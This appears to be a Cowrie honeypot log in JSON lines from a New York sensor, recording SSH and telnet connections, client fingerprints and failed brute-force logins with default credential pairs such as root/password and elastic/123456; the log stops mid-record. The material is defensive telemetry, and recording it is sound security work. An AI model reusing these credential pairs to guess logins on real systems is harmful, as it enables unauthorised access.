{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:16.499707Z","src_ip":"91.92.42.227","session":"981cd2025815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:19.204841Z","src_ip":"91.92.42.227","session":"981cd2025815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:21.254864Z","src_ip":"91.92.42.227","session":"981cd2025815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47418,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c99cf66b781","protocol":"ssh","message":"New connection: 91.92.42.227:47418 (10.17.0.5:22) [session: 3c99cf66b781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:22.719317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:23.268873Z","src_ip":"91.92.42.227","session":"3c99cf66b781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:23.272541Z","src_ip":"91.92.42.227","session":"3c99cf66b781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:25.935459Z","src_ip":"91.92.42.227","session":"3c99cf66b781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:27.420841Z","src_ip":"91.92.42.227","session":"3c99cf66b781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38166,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f42d3930c1","protocol":"telnet","message":"New connection: 107.6.151.170:38166 (159.203.135.109:23) [session: c9f42d3930c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:27.684198Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48390,"dst_ip":"10.17.0.5","dst_port":22,"session":"965a4e734858","protocol":"ssh","message":"New connection: 91.92.42.227:48390 (10.17.0.5:22) [session: 965a4e734858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:29.930092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:30.138443Z","src_ip":"91.92.42.227","session":"965a4e734858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:30.143063Z","src_ip":"91.92.42.227","session":"965a4e734858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:31.621651Z","src_ip":"91.92.42.227","session":"965a4e734858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:32.935796Z","src_ip":"91.92.42.227","session":"965a4e734858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"28de76e975cd","protocol":"ssh","message":"New connection: 91.92.42.227:53724 (10.17.0.5:22) [session: 28de76e975cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:36.699646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:37.023120Z","src_ip":"91.92.42.227","session":"28de76e975cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:37.056545Z","src_ip":"91.92.42.227","session":"28de76e975cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:38.826077Z","src_ip":"91.92.42.227","session":"28de76e975cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43128,"dst_ip":"159.203.135.109","dst_port":22,"session":"252a63be9f69","protocol":"ssh","message":"New connection: 80.94.92.184:43128 (159.203.135.109:22) [session: 252a63be9f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:39.903206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:40.112008Z","src_ip":"80.94.92.184","session":"252a63be9f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:40.115838Z","src_ip":"80.94.92.184","session":"252a63be9f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:40.344862Z","src_ip":"91.92.42.227","session":"28de76e975cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:42.501229Z","src_ip":"80.94.92.184","session":"252a63be9f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"155b1884c92f","protocol":"ssh","message":"New connection: 4.213.224.194:44652 (10.17.0.5:22) [session: 155b1884c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:43.137725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:43.143054Z","src_ip":"4.213.224.194","session":"155b1884c92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:43.338368Z","src_ip":"4.213.224.194","session":"155b1884c92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:43.856989Z","src_ip":"80.94.92.184","session":"252a63be9f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"12345","message":"login attempt [cloud/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:44.154979Z","src_ip":"4.213.224.194","session":"155b1884c92f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c40bddbf8c5","protocol":"ssh","message":"New connection: 91.92.42.227:55990 (10.17.0.5:22) [session: 7c40bddbf8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:44.693321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:44.714527Z","src_ip":"91.92.42.227","session":"7c40bddbf8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:44.812362Z","src_ip":"91.92.42.227","session":"7c40bddbf8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:45.352511Z","src_ip":"4.213.224.194","session":"155b1884c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:45.981571Z","src_ip":"91.92.42.227","session":"7c40bddbf8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:47.258884Z","src_ip":"91.92.42.227","session":"7c40bddbf8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56024,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc6888e3632","protocol":"ssh","message":"New connection: 91.92.42.227:56024 (10.17.0.5:22) [session: bfc6888e3632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:51.213770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:51.595538Z","src_ip":"91.92.42.227","session":"bfc6888e3632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:51.599050Z","src_ip":"91.92.42.227","session":"bfc6888e3632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:54.105611Z","src_ip":"91.92.42.227","session":"bfc6888e3632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:55.691157Z","src_ip":"91.92.42.227","session":"bfc6888e3632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.808932065963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:58.492927Z","src_ip":"107.6.151.170","session":"c9f42d3930c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35494,"dst_ip":"10.17.0.5","dst_port":22,"session":"73582c273ea7","protocol":"ssh","message":"New connection: 91.92.42.227:35494 (10.17.0.5:22) [session: 73582c273ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:58.628612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:58.951945Z","src_ip":"91.92.42.227","session":"73582c273ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-